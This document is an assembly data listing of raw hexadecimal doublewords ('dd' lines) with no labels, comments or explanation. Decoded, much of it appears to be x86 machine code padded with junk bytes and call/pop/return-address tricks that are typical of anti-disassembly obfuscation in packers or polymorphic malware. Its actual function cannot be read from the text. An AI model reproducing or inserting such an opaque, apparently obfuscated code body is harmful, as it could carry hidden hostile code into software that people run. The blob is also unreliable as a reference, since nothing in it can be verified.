		dd 0C98ED68Eh, 17D880CDh, 7E8h,	72879400h, 10931FA3h, 1FBDB58Bh
		dd 2B5E0613h, 11B50BC3h, 3D06130Bh, 834h, 2B860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 10B0DAC3h, 3CE9EDE8h, 89000000h, 130C158Dh, 6AC08B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0B2F3C357h, 0E99B2C3Eh, 0Fh, 3244946h, 0A3CDEAAFh
		dd 358B5E0h, 8B7E8AC3h,	0E9D88BC3h, 14h, 0C6BE9F01h, 610904C4h
		dd 0FFBA0FFEh, 0AFA24D1Ah, 0DB0685F3h, 2CD585C7h, 175D0613h
		dd 85897DC2h, 6131DEDh,	0BD8BC08Bh, 61311BDh, 0B21BD81h
		dd 7D00613h, 850F0000h,	0Eh, 0B2185FFh,	33560613h, 131CD9B5h
		dd 0B5FF5E06h, 6130B21h, 0FFF1BF0Fh, 130DA995h,	0C6819006h
		dd 3A815682h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0A5C35242h, 5E596A70h, 0B5012435h, 61301E9h, 0F2B70F51h
		dd 0A5B5295Eh, 6A06131Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F05C352h
		dd 0C81h, 6890F00h, 2B000000h, 131EC1B5h, 8589FC06h, 61323B9h
		dd 53006AF8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 108923D2h, 12E96Bh, 0DDF90000h, 7801CEF6h
		dd 1BD70ABBh, 0BA3E9889h, 30C7B338h, 74A784BEh,	0BD8B523Fh
		dd 6131D85h, 6AF38B5Eh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 85F8C352h, 2B3F97FDh
		dd 0B58B65ABh, 61324C5h, 1F51BD8Bh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 25A8A0C3h
		dd 48CABCC8h, 0B58BCB28h, 6132379h, 0F83CE9FCh,	0B58BFFFFh
		dd 6131BA1h, 0C18BF78Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 1AC35343h, 3C38EDBDh,	104EB6Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0F534C357h, 4A9752ECh, 9D897503h,	61314F5h
		dd 3800Fh, 8B660000h, 51006AFBh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 93EA5DDCh, 8BF1680Dh
		dd 130BC5B5h, 0A9858D06h, 6A06131Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F68EC353h
		dd 0A6C3FFB9h, 0CCBA6090h, 0F7756A2h, 289h, 61616000h
		dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 705CDBC3h, 6A401Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0EAC35646h,	893E8A83h, 131BCDB5h
		dd 38E78106h, 6A4C182Dh, 0BCBF6600h, 86858D7Eh,	5606171Dh
		dd 1471BD09h, 895E0613h, 131A51BDh, 5C08306h, 45DF8166h
		dd 0D9BF50DBh, 8915EEE1h, 0BD8B2404h, 613351Dh,	8501006Ah
		dd 6132BD1h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 38D464C3h, 880Fh, 95FF0000h, 61307F1h
		dd 0F49B533h, 9D8D0613h, 616A36Ah, 34DF8166h, 6AD3FF69h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0EE60C355h, 61BD4696h, 1689BD8Bh,	7E80613h
		dd 4C000000h, 69D8C273h, 0B8BE469Ah, 5F31C987h,	16D985FFh
		dd 85890613h, 6133521h,	761E9h,	0E800h,	815D0000h, 171D90EDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 51B19506h, 0FCBF5F58h, 8130517Eh, 130B21BDh
		dd 7D006h, 860F00h, 89000001h, 1304EDB5h, 0F99D8B06h, 66061305h
		dd 24DACE81h, 0FDB58956h, 5F06130Ah, 100E381h, 9CBE0000h
		dd 0F56CF4Bh, 886h, 0B58B5600h,	6130F01h, 0FDB0B5Fh, 5C85h
		dd 0F3B70F00h, 1BE5BD83h, 0F000617h, 1784h, 6E9FC00h, 3F000000h
		dd 0C1FAC9D5h, 4BE926h,	85090000h, 6131949h, 1BE585C7h
		dd 10617h, 0BD890000h, 613214Dh, 30E9h,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 58317D19h, 0E585C7BFh, 6171Bh, 29000000h, 130FF18Dh
		dd 0F99D8D06h, 6A061305h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A6FDC350h,	5022DD0Dh
		dd 0F5952955h, 81061315h, 0FFFEFF23h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 4C6BDB0Bh, 816675AAh, 66616AF6h, 6ADB8Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 37462C3h
		dd 88A82DFFh, 0F6FA8B66h, 840F04C3h, 3Eh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 0EBC35545h, 0E72B1B69h
		dd 53BCFF0Ch, 211195FFh, 0BF0F0613h, 0BF6690FBh, 6650AF51h
		dd 90ACDABFh, 0ED9BD89h, 99E90613h, 66000003h, 0B0DDD9BFh
		dd 0E9BD8B00h, 0E6061306h, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 210316D3h
		dd 0B86C0DCFh, 0B5896B57h, 6131451h, 6A71E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CFDBDFC3h
		dd 0D2AF9BA7h, 0F1BD8BF6h, 0F061334h, 6AD8B6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0E5EAF7C3h, 5BFC2ECCh, 899D3145h, 0BA061307h, 6, 1D958957h
		dd 5E061315h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 1EE4BCC3h, 25B07523h, 0E78166F8h
		dd 8A0FC632h, 1, 4E8C1F8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 9DC35040h, 6171CC56h,	0BEE2F766h, 6F7AB6B5h
		dd 9589D82Bh, 61323C9h,	241C8950h, 4E1BD2Bh, 0B5FF0613h
		dd 6130B21h, 95FFF38Bh,	6130DA9h, 164DB589h, 0B00613h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h
		dd 14AFCD3Eh, 0E6F78B66h, 0C5BD8B70h, 0E4061311h, 51006A71h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0EE8575Ah, 6E000000h, 9751B6BFh, 0A3260943h,	0BE740B3h
		dd 99B52387h, 5E061301h, 0F613C5Eh, 20B83h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C1BD0120h, 8906131Bh, 131F519Dh, 9BD8906h, 0F06130Eh
		dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8E6984C3h, 1E7A8D5Ah, 6BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 820FC652h, 5, 84B722BEh, 0FE8B667Eh,	8E0FC38Bh, 6, 0BE18589h
		dd 0E8C10613h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0A23E5EBh, 0EF3E478Fh
		dd 0D7BE66D4h, 0E2F766CEh, 15419D31h, 0BD290613h, 613134Dh
		dd 0BE9D82Bh, 42000000h, 3E68A4CFh, 6DFD6B8Ah, 0BF58B587h
		dd 43452725h, 880FD82Bh, 120h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0BC35141h, 23FD8531h, 7B90613h
		dd 0F5000000h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 2B2FC353h, 0D93B84FBh
		dd 0CE860Fh, 0BD8B0000h, 613149Dh, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 4A31C352h, 0ACDF109Dh, 0F04C1F6h, 9384h, 6E900h, 0C2120000h
		dd 230DE401h, 211195FFh, 11E90613h, 0DA000000h,	29BC7D12h
		dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B58BA778h
		dd 6131239h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0CA5CB5C3h, 0DBE3E7E8h, 858962C3h
		dd 6131639h, 8343Dh, 11860F00h,	31000000h, 13295D8Dh, 0EE906h
		dd 0E7810000h, 152005FDh, 0CF81C08Bh, 3D440BA6h, 0D88BC38Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h
		dd 85C75F52h, 6133251h,	15F05BD7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0B3C35343h,	6AC08B56h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 954CC352h, 0DDD9593Fh, 668FEB96h, 0BC66E781h, 3111BD03h
		dd 0BD810613h, 6130B21h, 7D0h, 48850Fh,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D5F819C3h, 0F15CEA5Ch, 2185FF43h, 6A06130Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 2E71C356h, 0B5FF024Fh, 6130B21h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 97C35646h, 0A6485814h, 9C295AA2h
		dd 0DA995FFh, 0BD330613h, 6130115h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0B40E39B6h
		dd 0A5F3CFE7h, 10DE8166h, 9E92Fh, 8D40000h, 1BC4FB6Bh
		dd 239D74A4h, 1316C5BDh, 15860F06h, 0E9000000h,	10h, 98EB69h
		dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 1B998D89h, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6ED0ECC3h, 0DAB6C610h, 50006A94h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 21C14FC3h
		dd 0F632EDDh, 0E8Eh, 8E900h, 426F0000h,	753589AEh, 6AF59232h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0FA59C351h, 0CF7711F1h, 60FE9983h, 0D1DB81h
		dd 8D09747Fh, 6132A91h,	5830Fh,	61600000h, 61D6B70Fh, 0BE9h
		dd 0AD41E200h, 2F06917Ch, 9522C066h, 0FFF8A0E9h, 0C18BFCFFh
		dd 0FE8h, 0DD347D00h, 4B1EFCC3h, 0B2234DD5h, 32717F0Eh
		dd 4EB5Fh, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 37C3C356h, 0CF444D8h, 0FABF0FDAh
		dd 1EA9858Dh, 95890613h, 6132C51h, 0BE890h, 0B8CF0000h
		dd 0E3D1C8A0h, 15DD7E1Dh, 56525035h, 66310F5Fh,	5A4F90BEh
		dd 8B505E58h, 816690F1h, 6A0796DEh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 5A77361Ah
		dd 2D1A5F6Ch, 7E955h, 0E4E40000h, 83B40A86h, 6A006A6Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 7279C350h, 5491DAF5h, 858DD185h, 617271Dh
		dd 0FE9h, 0E2798B00h, 7ACBBECAh, 30E5E6ACh, 2F725B03h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F0E8C351h, 0BA65E319h, 0C4F3C09Dh
		dd 90FA8B66h, 0DE8h, 5ABAD000h,	69892A11h, 6E68B499h, 0F28BBB18h
		dd 12E9505Eh, 0A7000000h, 0DF3E37F9h, 3056E9CAh, 5F6A22Ah
		dd 61DE4F3Ah, 0BD8B9045h, 6130981h, 7E8006Ah, 0B5000000h
		dd 4981F62h, 0B531BA9Dh, 61310A5h, 0E9006A5Eh, 0Eh, 28AE13ABh
		dd 803F0621h, 50178F5Ah, 95FF91F0h, 61307F1h, 8B0Fh, 9D8D0000h
		dd 616A36Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0B7C35646h, 9529B77Eh, 6130B6Dh, 0C52DBF66h, 6AD3FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F8AD45C3h, 0ED632F89h, 29983F4Eh, 1316D585h, 0D985FF06h
		dd 6A061316h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0C9C350h, 6B41F8B5h, 9E8h, 0A32A7300h
		dd 0D6022C57h, 0BD338F6Ah, 6132B89h, 0AE85Fh, 0D480000h
		dd 0BD775FBFh, 0C72390E8h, 9E9h, 0C710D500h, 0B2812647h
		dd 0E95F62F4h, 808h, 0E8h, 0ED815D00h, 6172727h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ACC35747h, 1CD304Fh
		dd 6870FFDh, 89000000h,	131A31B5h, 21BD8106h, 0D006130Bh
		dd 0F000007h, 14F86h, 91BD8B00h, 8B06130Eh, 1316A19Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 81CF2579h, 100E3h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 870BE740h
		dd 0AE93633h, 21000000h, 0BF9B9739h, 56ED9B5Dh,	0FDB0B9Ch
		dd 6E85h, 5BD8300h, 61725h, 35840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 41C2D2C3h
		dd 8B2DEF8Dh, 1330D5BDh, 618D2906h, 0E9061319h,	73h, 0C7F2B70Fh
		dd 17250585h, 106h, 61E900h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C776F6C3h
		dd 17250585h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 880F2870h, 0Dh, 8E9h
		dd 0F1680D00h, 5F0ED217h, 48F0F4Ch, 66000000h, 8DAC61BEh
		dd 1316A19Dh, 0C1BD8B06h, 8106131Eh, 0FFFEFF23h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B58BA569h, 6132129h, 8BDB8C66h, 130081B5h, 4C3F606h
		dd 83840Fh, 0BD8B0000h,	61309BDh, 211195FFh, 6A0613h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0DBF903C3h, 35D0B911h, 0FE9h, 860C0000h, 2ABD262h, 5B0D8C2Bh
		dd 3D79FC14h, 4FBE6650h, 24048908h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 91C35242h, 5F79BE08h, 0DD1BD01h
		dd 7E80613h, 7F000000h,	0C9AF7855h, 9D29761Ch, 61306C9h
		dd 40AE95Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 506B3FC3h, 0EB5122E4h, 7E9E0h, 33330000h
		dd 0EF773182h, 0D9950197h, 0B0061306h, 0FFB70F00h, 0BF0F70E6h
		dd 8B71E4FAh, 130E65BDh, 0D8B60F06h, 0E5B243BEh, 6BAF910h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 196CC351h, 89C38BE7h, 1318A9BDh
		dd 4E8C106h, 0FE8h, 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh
		dd 0E2F7665Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	61C35646h, 93E59BD5h, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFBACFC3h
		dd 89021162h, 3181B58Bh, 50930613h, 6A93FE8Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5CF8C357h, 28D1BF7Fh, 21B5FFEAh, 6A06130Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7BD7C352h, 11E9E2h, 3B8B0000h, 15117FEEh, 71FB26D1h
		dd 30630476h, 66341D71h, 0FF675FBFh, 130DA995h,	0E5B58B06h
		dd 0B0061309h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E661724Dh, 57006A70h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 50F6C7C9h, 6EE056D9h, 0ED950960h, 66061305h,	0E4C9F8BEh
		dd 8E871h
		dd 3BA60000h, 7B7B3E3Bh, 8B609786h, 616160D1h, 0F613C5Eh
		dd 24B83h, 0F6816600h, 0B60F9C7Eh, 6BAF9D8h, 9000000h
		dd 131B09BDh, 6AC38B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0A23BC351h,	5F91671Dh
		dd 9D5B52Bh, 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 64AAD5D6h, 0A5C68166h
		dd 6830F05h, 8B000000h,	131E19B5h, 0E2F76606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6DC35646h, 5D56EC79h
		dd 6AD82B6Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 5803C350h, 31DDB503h, 0D82B0613h
		dd 18A880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 47BB93C3h, 113B49Ah, 97BE47CBh
		dd 513F2398h, 1741B58Bh, 0B95F0613h, 7,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 2DC35242h, 0DF8166F4h
		dd 0B70FCBF6h, 0F78B66FBh, 6A00C183h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B2CC351h
		dd 4558870Ah, 3BE56534h, 0FD860FD9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7562C350h, 12E8A479h, 69000000h, 898A305h, 6F503C4Fh
		dd 0B355D019h, 0E6A64452h, 0F681660Fh, 665F1153h, 0BD89D98Ch
		dd 61300F5h, 0F04C1F6h,	0A884h,	8E800h,	93B00000h, 242E0493h
		dd 85891C6Eh, 6130785h,	1195FF5Fh, 0BF061321h, 2C6CD3FDh
		dd 57006A5Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0A50F6F16h, 0D75EEBB7h, 0A290F681h, 0C32B4893h
		dd 8343Dh, 52860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0EDC4C352h,	35E9F28Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 7BCEC353h, 0AE01AC6Bh,	66FA3A4Eh
		dd 0B024C681h, 4DC9ECBEh, 50C08B32h, 5FF88B66h,	0D88BC38Bh
		dd 1FB1BD8Bh, 85C70613h, 61305F9h, 7485EDD3h, 8F0Fh, 0C08B0000h
		dd 81F3BF0Fh, 130B21BDh, 7D006h, 12850F00h, 89000000h
		dd 131CED85h, 2185FF06h, 0B06130Bh, 130B09BDh, 21B5FF06h
		dd 6A06130Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 5E08C351h, 8D89CF56h, 61316D1h
		dd 0DA995FFh, 0EE80613h, 4B000000h, 0F5E0E37Eh,	60EDBC0h
		dd 35DCC45Eh, 9D895E6Ah, 6130FC1h, 0F5E68190h, 6672D39Dh
		dd 0ACD1C681h, 2BBDBD8Bh, 66600613h, 0AA7F281h,	0C870Fh
		dd 840F0000h, 0
		dd 1512E281h, 9D892112h, 61323B5h, 29BD8B61h, 8B06132Dh
		dd 13151DBDh, 0EE816606h, 0BD23954Ah, 6131FBDh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7CC35141h, 51F65667h
		dd 0FCCC5A57h, 50006AF5h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D31C143Bh, 0BD19509h
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 4E175DC3h, 0BBA11561h, 8B8876EDh,	52006AF2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 69AD5CE6h, 0AEF28B45h, 0BE9EF79h, 11000000h,	27E7DC0Eh
		dd 1F7FFC32h, 8B66E5DFh, 56006AF9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 6120C96Bh, 0BEF88B77h
		dd 0D2229C8h, 0FFF81BE9h, 178F0FFFh, 0E9000000h, 12h, 0FB275666h
		dd 308E5F40h, 0F1EED5F2h, 0EF18B2BDh, 8589A94Eh, 6132165h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 565107D7h, 0B50950A8h, 6132379h,	0FFFEB958h
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 958B15C3h, 6131F8Dh, 9CD8D21h, 6A0613h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 2A04CFC3h, 0BF0FE70Eh, 118D21FEh, 89061311h,	130F09B5h
		dd 8B0F6006h, 0
		dd 1FE98589h, 8B610613h, 1309CD8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9286029h
		dd 14h,	1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h, 69D55FEDh
		dd 0D41958Bh, 0E1830613h, 21850F01h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 5208C352h, 0F0D6A89Bh, 11118D8Bh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4EEA66C3h
		dd 2185893Eh, 0E9061323h, 0Dh, 0C242FB19h, 0B4CD35D1h
		dd 6B80B6BCh, 1E183B3h,	6850Fh,	85890000h, 61310CDh, 6A6061h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0D18293C3h, 20FB675h, 0E83A94A7h, 0Eh, 63796A90h, 0AE77BAD7h
		dd 0BCB2D9A4h, 0B95E6F14h, 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0C9C35747h,	590FF359h, 0A508BE89h
		dd 9E9h, 0F4377F00h, 0BD0F77D1h, 8D21CB30h, 6131461h, 2FB18589h
		dd 8D210613h, 6130639h,	8D8BF78Ah, 6131461h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E9C35545h, 79BD8B87h
		dd 8306132Ch, 850F01E1h, 1Ch, 13E8h, 0E6AFAF00h, 0CC923AB6h
		dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 0F2B70F5Ah, 6398D8Bh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 66C9D9C3h, 830B41BAh, 850F01E1h, 3Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EC35646h, 0CC7E2AD4h
		dd 0E9A18719h, 14h, 0BE5DC8CCh,	0D697CEF4h, 9AAE9575h
		dd 0C04D20C5h, 496F0043h, 9D896061h, 6130BEDh, 0FFFFFEB9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 4164FF04h, 2F4857DFh, 77E081E8h,	12DDCC2h
		dd 1330C9B5h, 0A18D2106h, 6A061316h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A726C355h
		dd 987F178h, 21CDB529h,	8D210613h, 6132CD5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h, 500FF465h
		dd 8D1147D8h, 858960BFh, 6131151h, 31B58B61h, 8B06131Dh
		dd 1316A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D1FCAC18h, 0A7DA7B2Fh, 8E0FD37Ch
		dd 3, 83F8B70Fh, 850F01E1h, 20h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 28C35040h, 101CA3A9h, 2CD58D8Bh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C4F623C3h, 198615B4h, 899F1129h,	1316E185h
		dd 1E18306h, 2850Fh, 0B0B30000h, 6A6061h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 105EFAC3h
		dd 0B58B68D6h, 6131325h, 0FFFFFEB9h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4F8DBA71h
		dd 8D214F0Bh, 6133251h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 63C35646h, 0DC4C2564h, 0B84AE380h, 493F8A6Fh
		dd 5F98D21h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C519EAC3h, 0BBBF662Dh, 518D8B1Fh
		dd 6A061332h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B231C353h, 1F5AB0C4h,	0F01E183h
		dd 1E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B7A1A3Ah, 1305F98Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7ACC519Dh, 5E9h, 0C1FEDB00h,	0E1830EC2h, 5850F01h, 0BA000000h
		dd 439B4F1Fh, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8E885C3h, 0E789A0BFh, 0BD2BF50Ah
		dd 6130EBDh, 0B2185C7h,	7D00613h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A281B6C3h
		dd 3B28D89Bh, 66909495h, 7615EE81h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 49D822D5h
		dd 35A8D056h, 0A18D8B4Eh, 0EB061312h, 0E99D6107h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4BC35343h
		dd 2F62A5A0h, 31BD8942h, 6A061330h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E88EC351h
		dd 18E5BD89h, 0C18B0613h, 14E8h, 111000h, 3EA8132Dh, 0BC5402CAh
		dd 0FB707CD6h, 0E1362C6Bh, 0FFB70FFFh, 1AC2815Ah, 8900005Eh
		dd 1311BDBDh, 6806h, 800F0000h,	6, 18B1B50Bh, 0F580613h
		dd 34FFFEB7h, 5BF8B510h, 644DEB81h, 870F45C9h, 9, 850FFC60h
		dd 0
		dd 70F38161h, 0F79FF70h, 68Ah, 75B58900h, 8106130Eh, 0AACB42F3h
		dd 0FABF0F68h, 81021C89h, 893F15C9h, 0B70F6026h, 7FF081F8h
		dd 617E8274h, 0F02E883h, 1489h,	0FE900h, 29700000h, 1B891C8Ah
		dd 5D05AB0Bh, 0E74499D9h, 8B48485Fh, 1301598Dh,	0C4F88106h
		dd 0FFFFFA2h, 1C85h, 0D6E98100h, 0E912E8E3h, 23h, 7BBF89E8h
		dd 7EB85DCAh, 9C6FAD32h, 34DB56Fh, 0E9BD8B26h, 0E906130Ah
		dd 0FFFFFF5Eh, 7390D873h, 0BA6CB046h, 0F0113000h, 0EA81h
